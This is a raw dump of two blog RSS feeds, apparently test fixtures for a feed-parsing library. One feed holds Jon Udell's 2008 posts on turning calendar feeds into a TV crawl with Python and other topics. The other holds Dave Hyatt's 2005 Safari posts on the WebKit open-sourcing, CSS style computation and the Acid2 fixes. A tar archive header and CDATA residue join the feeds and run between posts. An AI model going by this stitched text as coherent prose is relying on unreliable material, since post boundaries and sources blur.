    A couple of years ago, I was campaigning in my community to open up the parent portal into PowerSchool, a student information system that was being used internally by teachers and administrators but wasn’t available to parents via the Internet. At one point I made a screencast that addressed the perceived risks, and showed the compelling benefits, of opening up the portal. The screencast was published on the Internet, available to the whole world, and the whole world includes Keene NH, so that ought to be a good way to bring my message to the community, right?

    Wrong. Nobody watched it.

    A while later, it hit me. There still aren’t many folks here who are inclined to receive a message like that from InfoWorld.com, or from YouTube, or from any other Internet destination I might use. But there are significant numbers who tune into the local public access station. Why not show the screencast there?

    So I dubbed it onto a MiniDV tape, took it down to the station, and gave it to the executive producer.

    Him: What’s this?

    Me: A demo and discussion of the PowerSchool software. Will you run it?

    Him: Sure.

    And lo, a couple of weeks later, I heard from the assistant superintendant of schools. He thanked me for applying the external pressure that they’d been needing in order to break through an internal logjam, and he invited me into the beta program. Now, two years later, it’s fully deployed and making a big difference.

    Meanwhile, I’ve been working on a community information project that’s all about feeds and syndication. But slow learner that I am, I continue to invite people to use Internet feeds and Internet syndication. And people continue to mostly decline the invitation.

    For example, I’ve been working on calendar syndication. The syndication flows two ways. First, inward. The service pulls events from various local websites, and I’m working with the proprietors of those sites to clarify why and and to publish true calendar feeds.

    Second, it syndicates outward. With a JavaScript call, you can include the day’s events in another website, like CitizenKeene or Cheshire TV.

    But this is all still just Internet stuff. And as we’ve seen, the community doesn’t (yet) tune into the Internet for local information. It does tune into public access cable TV.

    So why can’t Internet data feeds show up there?

    Well, of course, they can. Here’s a prototype video crawl (the link goes to an animated gif, just for convenience) made from yesterday’s combined calendar. We’ll need to work out the details of format and workflow, but I think it’ll work. And it seems like a great way to connect two worlds.

    Calendars are just part of the story. Consider, for example, the public library’s RSS feeds announcing new books and DVDs. I’m one of probably a handful of subscribers to those feeds. Now imagine that the feeds showed up as a video crawl on TV. I bet a lot more folks would find out about new books and DVDs. And maybe, just maybe, the reception of that feed via TV would lead to discovery and use of the more convenient and powerful Internet feed.

    We’ll see. Meanwhile, below the fold, I describe the method I’ve come up with to do this. The paint isn’t dry, and I’ll be very interested in comments and suggestions.

    … the fold …

    Our public access TV station, as may be typical (though I dunno), is a mostly Windows-based operation. As is surely typical, there’s little money to spend, either on people to produce these feeds interactively or on software to produce them automatically. So the requirements seem to be:

    1. Windows-based
    2. Cheap or free
    3. Fully automatable

    My first idea was to leverage SMIL. I knew it would be easy and free to transform a feed into markup that can be played by Real, or QuickTime, or Windows Media. And I hoped it would also be easy and free to render that markup into a video format. But there I ran aground. If there’s a free, or at least cheap, SMIL renderer that can be scheduled to run automatically, I’d like to know about it, because that’d probably be the ideal solution. But I haven’t found one.

    The next idea was to produce the animation frame by frame. And that’s what I’m actually doing for now. It sounded a lot harder than it turned out to be. After installing the Python Imaging Library, it was possible to write this very concise frame generator: 

    import Image, ImageFont, ImageDraw

s = """
EVENTS FOR WEDS JUNE 30 FROM ELMCITY.INFO (HTTP://ELMCITY.INFO/EVENTS)

06:00 AM lap swim  (ymca)
07:00 AM Cheshire Walkers: Indoor Walking Program (eventful: Keene Recreation Center)
...
Trainers Academy - Level II (eventful: Monadnock Humane Society)
TOR 7pm (swamp bats)
"""

lines = s.split('\n')

def frame(index,top):
  image = Image.new('RGB',(720,480),(0,0,0))
  draw = ImageDraw.Draw(image)
  font = ImageFont.truetype("arial.ttf", 18)
  for line in lines:
    draw.text((10, top), line, (255,255,255), font=font)
    top += 25
  image.save('cal%0.3d.gif' % index)

top = 450
for index in range(len(lines)*8):
  print index,top
  frame(index,top)
  top -= 4

    This yields a sequence like cal000.gif…calnnn.gif.

    I wasn’t sure how to make a video directly from that sequence, but I knew that ImageMagick could turn it into an animated GIF, like so: 

    convert -adjoin cal???.gif animation.gif

    So I did that, and went looking for ways to convert that into a video format. ffmpeg will do it, but the results weren’t pretty, and ffmpeg can be a dicey thing to ask people to install. QuickTime, I found, did a better job. You’d need QuickTime Pro for Windows, which isn’t free, but $30 won’t break the bank.

    Now the question became: How to automate the QuickTime conversion? I installed the QuickTime SDK, went looking for examples, and found just what the doctor ordered. Thanks, Luc-Eric!

    Luc-Eric’s JavaScript solution, which runs on the Windows command line courtesy of the Windows Script Host, turned out to provide a double benefit. In addition to showing how to automate the conversion of a batch of GIFs to an AVI, it showed me that there was, in fact, no need to produce an intermediate animated GIF. You can just point QuickTime at the sequence in the same way that you can point ImageMagick at the sequence. I hadn’t known that! So ImageMagick dropped out of the toolchain, and there was one less component to require the station to install.

    So that’s where things stand. I’m pretty sure there’s a better way to meet the requirements, and I’ll be delighted to discover it. But maybe there isn’t, in which case it looks like this will work.

    Either way, it’s the end result that will — or maybe won’t — matter. We’ll do the experiment, and we’ll find out.

    ]]>     http://blog.jonudell.net/2008/06/25/turning-internet-feeds-into-tv-feeds/feed/ jonudell     A conversation with Jean-Claude Bradley about open notebook science and the educational uses of Second Life http://blog.jonudell.net/2008/06/24/a-conversation-with-jean-claude-bradley-about-open-notebook-science-and-the-educational-uses-of-second-life/ http://blog.jonudell.net/2008/06/24/a-conversation-with-jean-claude-bradley-about-open-notebook-science-and-the-educational-uses-of-second-life/#comments Tue, 24 Jun 2008 14:40:34 +0000 Jon Udell http://jonudell.wordpress.com/?p=405

    On this week’s ITConversations show I finally got to meet Jean-Claude Bradley, the Drexel chemistry professor who coined the phrase open notebook science and who champions the principles behind it.

    There were a couple of surprises for me. First, I was intrigued to learn about Jean-Claude’s vision for mechanized research. I’ve always thought of open notebook science as a way to speed up the iterative cycle of research and publication, and to engage more human minds in collaboration. Of course Jean-Claude thinks so too. But he also thinks that when data are published in accessible formats, and exposed to computational processes running in the cloud, we’ll be able to automate certain aspects of research.

    It reminds me of George Hripcsak’s effort to mechanize the interpretation of electronic health records. In general, we’re collecting way more data than the collectors can analyze. Crowdsourcing is one solution to this problem. Mechanization is another. We’ll need both.

    The other surprise was hearing about Drexel’s fairly aggressive use of Second Life. I’ve been an amused skeptic on that front, but Jean-Claude’s passionate advocacy requires me to rethink that stance.

    What didn’t surprise me, but might well surprise tuition-paying parents of Drexel students, was Jean-Claude’s attitude toward the classroom. He mostly doesn’t see a need for it. The content delivery aspect of education, he feels, is best handled in other ways, including screencasts and podcasts as well as traditional texts. There can, and should, be a range of sources, to accommodate the differing inclinations of learners. And teachers need to be competent producers and orchestrators of those sources. But for Jean-Claude, the best way to engage directly with students is to meet with individuals, not with whole classes.

    Now admittedly, a chemistry class doesn’t invite and thrive on group discussion in the same way that, for example, a literature class does. And yet Jean-Claude says that a literature class was one of the models for his use of Second Life. When group interaction is central to the educational experience, he thinks that virtual environments — though he doesn’t require their use — may outperform real ones.

    I remain skeptical on that point, but I’m always open-minded, so I hope Jean-Claude will take me up on my offer to visit one of his virtual environments and document the interactions that happen there.

    ]]>     http://blog.jonudell.net/2008/06/24/a-conversation-with-jean-claude-bradley-about-open-notebook-science-and-the-educational-uses-of-second-life/feed/ jonudell     The story of the WorldWide Telescope http://blog.jonudell.net/2008/06/23/the-story-of-the-worldwide-telescope/ http://blog.jonudell.net/2008/06/23/the-story-of-the-worldwide-telescope/#comments Mon, 23 Jun 2008 13:14:57 +0000 Jon Udell http://jonudell.wordpress.com/?p=404

    My guests for this week’s Perspectives are Microsoft researcher Curtis Wong and Harvard-Smithsonian science educator Roy Gould. At Ted 2008 they jointly delivered the first preview of the WorldWide Telescope, an elegant and powerful application for exploring the sky and weaving narratives about it. In this extended interview, you can hear (or read) the whole story behind the WWT.

    I’d known that the WWT was based on Jim Gray’s work, and also that it was dedicated to him. I’d also heard several of the talks he’d given about SkyServer, SkyQuery, and the SQL and XML web services technologies powering those projects.

    What I hadn’t fully grasped, until I began preparing for the interview with Curtis and Roy, was Jim Gray’s larger vision for that work. In 2002, with Alex Szalay of Johns Hopkins, he published a paper entitled The World-Wide Telescope: An Archetype for Online Science. Here’s the abstract:

    Most scientific data will never be directly examined by scientists; rather it will be put into online databases where it will be analyzed and summarized by computer programs. Scientists increasingly see their instruments through online scientific archives and analysis tools, rather than examining the raw data. Today this analysis is primarily driven by scientists asking queries, but scientific archives are becoming active databases that self-organize and recognize interesting and anomalous facts as data arrives.

    Although the WWT isn’t an instrument for professional scientists, Roy Gould thinks it will be used by citizen scientists to collaboratively search the fast-growing corpus of sky imagery. That is, of course, a poignant echo of the collaborative search for Jim Gray when his sailboat went missing.

    But for Curtis Wong and Roy Gould, who grew up in Los Angeles and New York, respectively, where neither had access to the dark night sky, the WWT is first and foremost a way to reacquaint our society with the night sky, and to teach us about the universe.

    Roy Gould says that when his team surveyed high school students around the country, they found that a majority believe that stars reside within the orbit of Pluto. They also believe that galaxies are closer than stars, because “stars are just point sources, no matter what the magnification, so they must be very far away, whereas galaxies, whatever they are, look big, so they must be closer.”

    To fulfill its educational mission the WWT delivers seamless navigation of the sky, contextualized in a variety of ways. Objects are described onscreen, and linked to sources on the web. When you find your way to a stellar neighborhood, thumbnails of the objects in that neighborhood invite you to explore images from a variety of catalogs: the Sloan Digital Sky Survey, Hubble, Chandra.

    What’s more, the imagery is correlated so you can see the same object in any of the wavelengths of light used to observe it. If you look at the Milky Way in the standard view, and then switch to infrared, a band of incandescent whiteness emerges from the cloud of stars.

    You can use the WWT to explore the sky randomly, but most people will enjoy taking one of the guided tours. Curtis Wong’s lifetime of experience as a creator of interactive multimedia is distilled into this feature of the WWT. Tours are slideshows that move from one object in the sky to the next, and may be annotated with text, spoken-word audio, and music. But at any point you can pause the tour — or hop off the bus, as Curtis says — and explore the neighborhood on your own.

    The WWT isn’t just a player of tours, it’s also an authoring tool for creating them. You create slides, navigate to objects in the sky, annotate them, and save the results in an XML format that you can reuse and share.

    Like images from catalogs, tours are contextually available. So if you happen upon the Ring Nebula while exploring randomly, and if there’s a tour that mentions the Ring Nebula, then that tour will surface.

    Curtis envisions a hypermedia web of sky narratives. For him, this storytelling aspect really is the heart of the project. In the interview he reveals for the first time that an early prototype for the WWT, shelved years ago, was to have been called John Dobson’s Universe.

    Dobson, a leading amateur astronomer and innovative telescope builder, founded San Francisco Sidewalk Astronomers, a group that encourages telescope owners to take their telescopes out in public and share their knowledge of the sky. The WorldWide Telescope is poised to carry on that great tradition, and take it in some amazing new directions.

    ]]>     http://blog.jonudell.net/2008/06/23/the-story-of-the-worldwide-telescope/feed/ jonudell     A conversation with George Hripcsak about electronic health records and clinical truth http://blog.jonudell.net/2008/06/17/a-conversation-with-george-hripcsak-about-electronic-health-records-and-clinical-truth/ http://blog.jonudell.net/2008/06/17/a-conversation-with-george-hripcsak-about-electronic-health-records-and-clinical-truth/#comments Tue, 17 Jun 2008 12:45:05 +0000 Jon Udell http://jonudell.wordpress.com/?p=403

    George Hripcsak, professor of biomedical informatics, is one of the recipients of a Microsoft Research grant to support work on the computational challenges of genome-wide association studies. These studies involve scanning complete human genomes, and looking for correlations between certain markers of genetic variation and certain diseases.

    Doing that correlation is a computational challenge, but as I learned in my interview with George Hripcsak for Perspectives, that isn’t the challenge his research addresses. Instead he’s tackling a different challenge: mining electronic health records to figure out what they say about the diseases patients may have.

    Why? Suppose you’ve sequenced the DNA of thousands of people for a study. If you’re trying to correlate genetic markers with disease, you need to know what diseases those people have. George calls this “collecting the phenotype” — that is, the expression of the genes responsible for diabetes, or a tendency to complications in labor, or whatever.

    Traditionally that’s done by interviewing patients, a painstaking process that doesn’t scale. Given electronic health records, how much of this phenotype collection can be done automatically, and to what level of accuracy? That’s a different kind of computational challenge.

    There are basically two ways to go. You can try to templatize the process of clinical data collection, so that health records can be harvested more effectively by researchers. Or you can try to understand the language that clinicians actually use when they describe patients.

    For a decade now, George Hripcsak and his colleagues have been pursuing the latter approach, using a system for understanding natural language called MedLEE, which was developed at Columbia.

    Ultimately I believe, as George Hripcsak does, that we’ll need a hybrid system that makes use of both structured templates and natural language understanding. But given that health records must primarily serve patient care, and can only secondarily serve research, I like how he harmonizes those objectives:

    To the degree we make documentation efficient in serving health care, I think it’ll also be more accurate for the sake of research. If you’re filling out a record for the sake of billing, you’ll have an incentive to use diagnosis codes that optimize billing. Does that then reflect clinical accuracy? And would that then be useful for research?

    The important thing is to be grounded in the clinical truth. Put health care first, and then use new computational methods to extract accurate information.

    Amen.

    ]]>     http://blog.jonudell.net/2008/06/17/a-conversation-with-george-hripcsak-about-electronic-health-records-and-clinical-truth/feed/ jonudell     Future of the Conversations Network http://blog.jonudell.net/2008/06/16/future-of-the-conversations-network/ http://blog.jonudell.net/2008/06/16/future-of-the-conversations-network/#comments Mon, 16 Jun 2008 16:43:47 +0000 Jon Udell http://blog.jonudell.net/?p=402

    As recently announced by Doug Kaye, the Conversations Network is embarking on a new phase. The existing channels, including ITConversations and Social Innovation Conversations, will continue. But rather than creating more such channels, the Conversations Network wants to help individuals and organizations capture and publish their own spoken-word audio, mainly in the form of events that are experienced only by attendees but that could be experienced by anyone, anywhere.

    This new mission dovetails with PodCorps, a matchmaking service that connects event producers with volunteer stringers who can record those events. When it launched I wrote:

    There’s a huge opportunity here to transform communication patterns in a fundamental way. Checking my local events calendar, for example, I see that the following event is scheduled for tonight at the local college:

    Mon., Apr. 16
    7 to 8:30pm
    Pond Side 2 located on Bruder St - Keene State College

    Building Smart - Highlighting Local Best Practices

    Come and join us in discussing the challenges and successes of implementing innovative building materials, technologies, and design solutions into the built environment.

    The information exchanged at that meeting, and at countless meetings like it, has historically been available only to those who attend. There are a million reasons why local folks who might want to attend nevertheless cannot: no babysitter, schedule conflict, etc. And of course remote folks have no opportunity to attend, even though the information exchanged might be highly relevant to them.

    Assuming that more of these kinds of events become available, how will we find them? Doug writes:

    We will do this using a social-networking model, which allows anyone to post links to recordings he or she finds, to build collections or playlists of their favorite recordings, to share those playlists with others, and to rate and comment on playlists or individual recordings posted by others.

    In other words, Webjay for spoken-word audio. It’ll be interesting to see how this unfolds.

    In my interview with Webjay’s creator, Lucas Gonze, we talked about some of the reasons why the curatorial model that Webjay promoted hasn’t yet succeeded. One of them, amplified in this comment by Greg Borenstein, is the fear, uncertainty, and doubt that pervades any distribution of — or even just linking to — MP3 files.

    That kind of FUD shouldn’t be an issue for spoken-word audio that is explicitly free and legal. So I hope that we can evolve a culture of uninhibited collaborative curation. We’ll see.

    I’ll also be curious to see what kinds of new channels and shows may arise from this effort. That isn’t the primary focus. Rather, the idea is to capture, share, and find recordings of events that have already been planned, organized, and held. The Conversations Network mainly seeks to enable the curation of those events. So someone might, for example, assemble the best recorded material in the alternative energy genre, from a variety of sources. I’d like to subscribe to that curator.

    But there’s another kind of curation. It’s what I do when I select, from among the many people and ideas that I encounter, those I’ll feature on my two series of interviews: Interviews with Innovators and Perspectives. The world is full of interesting people and ideas, and we may also see the emergence of curators who select and highlight them in original ways. I’d like to subscribe to those curators too.

    ]]>     http://blog.jonudell.net/2008/06/16/future-of-the-conversations-network/feed/ jonudell     exchange2ical available on CodePlex http://blog.jonudell.net/2008/06/11/exchange2ical-available-on-codeplex/ http://blog.jonudell.net/2008/06/11/exchange2ical-available-on-codeplex/#comments Wed, 11 Jun 2008 16:51:27 +0000 Jon Udell http://jonudell.wordpress.com/?p=401

    The Exchange-to-iCalendar script that I mentioned here is now published to CodePlex. It’s intended for organizations that run Exchange and would like to publish selected calendars in iCalendar (aka iCal, or .ICS) format without having to rely on a client machine running Outlook 2007.

    I’ve never run a real Exchange server, so I’m wide open to suggestions as to how to actually publish the ICS file created by this little IronPython script. Right now, it just emits that file. For user Jon on Exchange host Zanzibar, you would do something like this:

    ipy Zanzibar Jon > jon.ics

    There are lots of ways jon.ics could get pushed to a web-accessible location, but I’m not sure what the default should be, or whether to do a filesystem operation, or an FTP transfer, or something else.

    My idea is that you’d schedule this command to run on a regular basis, and that it would run under an account that has the necessary privileges to access the specified user’s calendar. But again, I’m not an Exchange admin, so if that sounds like the wrong thing, let me know what the right thing would be.

    As for the iCalendar output, this script currently does the Simplest Thing That Could Possibly Work. It doesn’t, for example, try to “fold” long lines in the output (e.g., event summaries and unique IDs), which I gather the spec recommends but does not require.

    There’s only been minimal testing. I’ve run it against a couple of different Exchange servers (2003 and 2007), validated the ICS output using this handy validator, and verified that the resulting files — containing both individual and recurring events — can be successfully imported, or subscribed to, in Outlook 2007, Google Calendar, and Apple iCal.

    If you have a need for such a thing, try it and let me know how it goes.

    ]]>     http://blog.jonudell.net/2008/06/11/exchange2ical-available-on-codeplex/feed/ jonudell     ././@LongLink000 144 0003735 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-weblogs.mozillazine.org-hyatt-blogger_rss.xmlHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-weblogs.mozillazine.org-hyatt-blogger_rss.xml0000664000175000017500000010402212653701626031731 0ustar janjan Surfin' Safari http://weblogs.mozillazine.org/hyatt/ Dave Hyatt's Weblog en-us 2005-06-30T11:37:29-08:00 Moving Time http://weblogs.mozillazine.org/hyatt/archives/2005_06.html#008424 Now that WebKit has its own web site on OpenDarwin, it's time for this blog to change. For starters, Surfin' Safari has now moved to here. Another big change is that I will no longer be the only person talking to you about Safari and WebKit changes. Some of the other members of the team will be posting about what they're working on as well.

    I will leave this blog up here so that all the links remain valid, but all subsequent posts will be to the new blog. Update your bookmarks. :)

    ]]>     Safari hyatt 2005-06-30T11:37:29-08:00     Nokia Uses WebCore http://weblogs.mozillazine.org/hyatt/archives/2005_06.html#008321 Nokia uses WebCore in a new mobile browser for the Series 60 platform.

    ]]>     Safari hyatt 2005-06-13T00:50:14-08:00     The Improved Web Kit http://weblogs.mozillazine.org/hyatt/archives/2005_06.html#008285 We've already received and committed several patches from external contributors and the repository has only been live for a few hours!

    As some of you have already noticed (those of you that built), the new Web Kit not only passes Acid2, but it's also substantially faster at loading Web pages and at handling JavaScript. It contains a number of additional performance improvements that went in post-Tiger.

    One question people have asked is "Does this have to replace my system frameworks?" The answer is "No." You can run this custom version of Web Kit with a particular instance of Safari without replacing your system frameworks. The run-safari script we provided does this for you. If you study what it does, you'll see that you can easily try out your own WebKit apps with the new frameworks as well. We in fact encourage you to do this so that you can make sure your apps are functioning properly with the latest WebKit.

    ]]>     Safari hyatt 2005-06-07T10:10:08-08:00     Say Hello to WebKit! http://weblogs.mozillazine.org/hyatt/archives/2005_06.html#008281 As some of you may have heard at WWDC Monday, the Safari team is proud to announce that we are making significant changes in the way we operate, and these changes start today.

    Here is what we are launching:

    1. webkit.opendarwin.org, the new web site for WebKit, WebCore and JavaScriptCore.
    2. Full CVS access to WebCore and JavaScriptCore, our frameworks based on khtml and kjs. This repository includes the complete history of the project, so all patches past and present can be viewed.
    3. WebKit, the Objective-C API that wraps WebCore, is also being open sourced. It is in the same CVS repository.
    4. This repository is live. You can pull and build it today. As we improve the frameworks you can pull and run the latest and greatest. If you want to run a version of Safari that passes the Acid2 test, now you can.
    5. This repository is open. We welcome contributions.
    6. From now on bugs in these frameworks will be tracked in public at bugzilla.opendarwin.org. You can submit bugs in the open, view the status of our work, attach patches to bugs, and test code fixes to those bugs.
    7. A new public mailing list, webkit-dev@opendarwin.org, for development discussion of WebKit, WebCore, and JavaScriptCore.
    8. A new public IRC channel - #webkit on irc.freenode.net.

    And finally, going forward we will be engaging actively with the community. Find us on IRC and on the mailing list, jump in, and get involved!

    Build. Run. Test. It's live!

    ]]>     Safari hyatt 2005-06-07T00:00:58-08:00     Implementing CSS (Part 1) http://weblogs.mozillazine.org/hyatt/archives/2005_05.html#007507 One of the most interesting problems (to me at least) in browser layout engines is how to implement a style system that can determine the style information for elements on a page efficiently. I worked on this extensively in the Gecko layout engine during my time at AOL and I've also done a lot of work on it for WebCore at Apple. My ideal implementation would actually be a hybrid of the two systems, since some of the optimizations I've done exist only in one engine or the other.

    When dealing with style information like font size or text color, you have both the concept of back end information, what was specified in the style rule, and the concept of front end information, the computed result that you'll actually use when rendering. The interesting problem is how to compute this front end information for a given element efficiently.

    Back end information can be specified in two different ways. It can either be specified using CSS syntax, whether in a stylesheet or in an inline style attribute on the element itself, or it is implicitly present because another attribute on the element specified presentational information. An example of such an attribute would be the color attribute on the font tag. Both WebCore and Gecko use the term mapped attribute to describe an attribute whose value (or even mere presence) maps to some implicit style declaration.

    A rule in CSS consists of two pieces. There is the selector, that bit of information that says under what conditions the rule should match a given element, and there is the declaration, a list of property/value pairs that should be applied to the element should the selector be matched.

    All back end information can ultimately be thought of as supplying a declaration. A normal rule in a stylesheet that is matched has the declaration specified as part of the rule. An inline style attribute on an element has no selector and is simply a declaration that always applies to that element. Similarly each individual mapped attribute (like the color and face attributes on the font tag) can be thought of as supplying a declaration as well.

    Therefore the process of computing the style information for an element can be broken down into two phases. The first phase is to determine what set of declarations apply to an element. Once that back end information has been determined, the second phase is to take that back end information and quickly determine the information that should be used when rendering.

    WebCore (in upcoming Safari releases) has a really cool optimization that I came up with to avoid even having to compute the set of declarations that apply to an element. This optimization in practice results in not even having to match style for about 60% of the elements on your page.

    The idea behind the optimization is to recognize when two elements in a page are going to have the same style through DOM (and other state) inspection and to simply share the front end style information between those two elements whenever possible.

    There are a number of conditions that must be met in order for this sharing to be possible:
    (1) The elements must be in the same mouse state (e.g., one can't be in :hover while the other isn't)
    (2) Neither element should have an id
    (3) The tag names should match
    (4) The class attributes should match
    (5) The set of mapped attributes must be identical
    (6) The link states must match
    (7) The focus states must match
    (8) Neither element should be affected by attribute selectors, where affected is defined as having any selector match that uses an attribute selector in any position within the selector at all
    (9) There must be no inline style attribute on the elements
    (10) There must be no sibling selectors in use at all. WebCore simply throws a global switch when any sibling selector is encountered and disables style sharing for the entire document when they are present. This includes the + selector and selectors like :first-child and :last-child.

    The algorithm to locate a shared style then goes something like this. You walk through your previous siblings and for each one see if the above 10 conditions are met. If you find a match, then simply share your style information with the other element. Such a system obviously assumes a reference counting model for your front end style information.

    Where this optimization kicks into high gear, however, is that it doesn't have to give up if no siblings can be located. Because the detection of identical style contexts is essentially O(1), nothing more than a straight pointer comparison, you can easily look for cousins of your element and still share style with those elements.

    The way this works is that if you can't locate a sibling, you can go up to a parent element and attempt to find a sibling or cousin of the parent element that has the same style pointer. If you find such an element, you can then drill back down into its children and attempt to find a match.

    This means that for HTML like the following:

    <table>
    <tr class='row'>
    <td class='cell' width=300 nowrap>Cell One</td>
    </tr>
    <tr class='row'>
    <td class='cell' width=300 nowrap>Cell Two</td>
    </tr>

    In the above example, not only do the two rows share the same style information, but the two cells do as well. This optimization works extremely well for both old-school HTML (in which many deprecated presentational tags are used) and newer HTML (in which class attributes might figure more prominently).

    Once the engine determines that a style can't be shared, i.e., that no pre-existing front end style pointer is available, then it's time to figure out the set of declarations that match a given element. It is obvious that for inline style attributes and mapped attributes that you can find the corresponding declaration quickly. The inline style declaration can be owned by the element, and the mapped attributes can be kept in a document-level hash. WebCore has a bit of an edge over Gecko here in that it treats each individual mapped attribute on an element as a separate declaration, whereas Gecko hashes all of the mapped attributes on an element as a single "rule." This means that Gecko will not be able to share the mapped attribute declaration for the following two elements:

    <img width=300 border=0>
    <img width=500 border=0>

    WebCore creates three unique declarations and hashes them, one for a width of 300, one for a width of 500, and one for a border of 0. Gecko creates two different "rules," one for (width=300,border=0) and another for (width=500,border=0). As you can see in such a system, you will frequently not be able to treat the identical border attributes as the same.

    Aside from this difference in mapped attribute handling, the two engines employ a similar optimization for quickly determining matching stylesheet rules called rule filtering. All rules that are potentially matchable by any element (i.e., that have the correct media type) are hashed based on the contents of the rightmost simple selector in the rule.

    A selector in CSS can be either simple (meaning that all of the contents of that selector apply only to a single element) or compound (meaning that you may examine multiple elements like parents or siblings of that element). A compound selector is essentially a chain of simple selectors, so the following rule:

    tr > td { color: blue }

    has two simple selectors, tr and td. The rightmost simple selector in the rule is the one that we will use for the rule filtering optimization.

    The rightmost simple selector falls into four categories.

    (1) The selector uses an ID. (Example: #foo)
    (2) The selector doesn't have an ID but uses a class. (Example: .foo)
    (3) The selector has no class or ID but specifies a tag name. (Example: div)
    (4) The selector specifies none of these things. (Example: *[disabled])

    The rule is placed into one of four hashtables depending on which category it falls into. The idea behind these categorizations is to always filter out more specific information first. For example, if an element has a specific ID, then obviously any rules whose rightmost selector uses a different ID cannot match. Technically the last category can just be a list and not a hashtable, since those rules must always be examined by all elements.

    Each hashtable, therefore, consists of a mapping from a given atomic string to a set of rules that match. The class attribute is exceptional in that you must put the rule into the hashtable multiple times if multiple class attributes are used.

    When determining the set of rules that match a given element, you only examine rules that correspond to the correct hash entry based off your ID, classes and tag name. This optimization basically eliminates 95+% of the rules up front so that they need not even be considered during the matching process.

    Each rule is then examined in detail, with all selectors being checked, to determine if it is a match, and the set of matches is collected. The set of matches can then be sorted by priority and specificity such that all the declarations are in the proper application order.

    This brings us to the final phase of the style computation, which is taking the set of matches and quickly computing the appropriate front end style information. It is here that Gecko really shines. What I implemented in Gecko was a data structure called the rule tree for efficient storing of cached style information that can be shared *even when* two elements are not necessarily the same.

    The idea behind the rule tree is as follows. You can think of the universe of possible rules in your document as an alphabet and the set of rules that are matched by an element as a given input word. For example, imagine that you had 26 rules in a stylesheet and you labeled them A-Z. One element might match three rules in the sheet, thus forming the input word "C-A-T" or another might form the input word "D-O-G."

    There are several important observations one can make once you formulate the problem this way. The first is that words that are prefixes of a larger word will end up applying the same set of rules. All additional letters in the word do is result in the application of more declarations. Thus the rule tree is effectively a lexicographic tree of nodes, with each node in a tree being created lazily as you walk the tree spelling out a given word.

    This system allows you to cache style information at each node in the tree. This means that once you've looked up the word "C-A-T-E-R-W-A-U-L", and cached information at all of the nodes, then looking up the word "C-A-T" becomes more efficient.

    In order to make the caching efficient, properties can be grouped into categories, with the primary criterion for categorization being whether the property inherits by default. It's also important to group properties together that would logically be specified together, so that when a fault occurs and you have to make a copy of a given struct, you do so knowing that the other values in the struct were probably going to be different anyway.

    Once you have the properties grouped into categories like the border struct or the background struct, then you can either store these structs in the rule tree or as part of a style tree that more or less matches the structure of the document. Inheritance has to apply down the style tree and tends to force a fault, whereas non-inherited properties can usually be cached in the rule tree for easy access.

    WebCore doesn't contain a rule tree, but it is smart enough to refcount the structs and share them as long as no properties have been set in the struct. In practice this works pretty well but is not as ideal as the rule tree solution.

    ]]>     Safari hyatt 2005-05-02T14:57:16-08:00     Safari and KHTML http://weblogs.mozillazine.org/hyatt/archives/2005_04.html#008054 KHTML developers respond to my posting of the WebCore Acid2 patches here and here.

    For what it's worth, the patches I posted are to WebCore, which consists of both KHTML and KWQ (our port of Qt). They are posted to illustrate all the WebCore bugs that had to be fixed in Safari to pass the Acid2 test. They are not solely KHTML patches. The antialiasing bug was in KWQ, and so doesn't even apply to KHTML. The better object element support necessarily involves KWQ as well, since the plugin code is (obviously) platform-specific.

    What do you think Apple could be doing better here? Comment or trackback. I'll read it all.

    ]]>     Safari hyatt 2005-04-30T21:26:28-08:00     Safari Passes the Acid2 Test (Updated) http://weblogs.mozillazine.org/hyatt/archives/2005_04.html#008042 acid-victory.png Safari now passes the Acid2 test. There were two issues left that needed to be resolved.

    The first issue involved implementing a few enhancements to the object element. I needed to support fallback content when invalid MIME types were specified or when bad status codes were returned for HTTP requests (like 404). After fixing these bugs and a couple of other problems with intrinsic sizing of plugins, the eyes of the face showed up.

    The second issue involved improper antialiasing of the border corners. Antialiasing was enabled for the drawing of the corner polygons, and this resulted in a bleed-through of the background. Because the two corners were drawn separately, the antialiasing was actually incorrect, since it was disrupting the join of the corners by letting the background show.

    Here are the patches for all of the problems fixed in Safari to make the test pass.

    Fix parsing of the REL attribute on links.

    Disallow TABLE inside P in strict mode.

    Add support for min/max-width/height for positioned elements.

    Fix the rendering glitch that causes the reference page to paint garbage.

    Make sure that percentages that go to auto don't mess up the self-collapsing block check.

    Implement SGML-style comment parsing for HTML in strict mode.

    Make sure empty tables honor CSS-specified height in strict mode.

    Fix baseline alignment within table cells to use the bottom of empty blocks. Fix floats to not grow if child floats overhang but the height of the outer float is auto.

    Make sure percentage min-height goes to 0 and not auto when the percentage does not apply.

    Implement fallback content for the object element and fix intrinsic sizing to work properly when images are specified in the object element.

    Disable antialiasing for the drawing of polygons.

    Victory!

    ]]>     Safari hyatt 2005-04-27T22:25:24-08:00     Acid2: Version 1.1 Posted http://weblogs.mozillazine.org/hyatt/archives/2005_04.html#008011 The Acid2 test has been updated to version 1.1 in order to fix the bug I outlined in my previous blog entry. Here is how the Safari build with all of my fixes renders version 1.1. As you can see now we're just down to better object element handling.

    acid2-6.png

    ]]>     Safari hyatt 2005-04-23T02:47:07-08:00     Acid2: Lopping Off the Sideburns http://weblogs.mozillazine.org/hyatt/archives/2005_04.html#007977 Astute viewers pointed out that there was still a rendering glitch in row ten. It turns out this was actually a problem with rows six to nine. The block above ended up being too tall because min-height specified using a percentage was resolving to auto instead of to 0 when the containing block had no specified height. I fixed this problem, but check out the rendering now.

    acid2-5.png

    Observe how the smile is now positioned too high relative to the reference rendering. I spent a very long time investigating this problem and determined that it is in fact a bug in the test. At this point I am halting work on Acid2 until a revised test has been posted.

    ]]>     Safari hyatt 2005-04-20T21:06:35-08:00     Regression Roundup http://weblogs.mozillazine.org/hyatt/archives/2005_04.html#007981 The purpose of this blog entry is for you to track back to it with regressions you have discovered going from 1.2 to 1.3. It would be especially helpful if you can test up front for whether this is a user agent bug (by spoofing as another browser), since changes in browser version numbers often cause regressions even when nothing is wrong with the browser itself.

    The more clear and concise the reduction, the better the chances are that we can address the issue quickly (thus increasing the odds it can make it into a software update sooner rather than later).

    Please include in these trackbacks only regressions from 1.2. If you included something in the earlier blog entry's comments section, please post it again as a trackback. Thanks!

    ]]>     Safari hyatt 2005-04-18T23:19:25-08:00     Response to Some 1.3 Comments http://weblogs.mozillazine.org/hyatt/archives/2005_04.html#007980 (1) The feed URL dialog that tells you 10.4 must be installed to view RSS feeds is simply a bug and not part of a master plan for global domination.
    (2) The View Source shortcut was changed to match Mail.app.
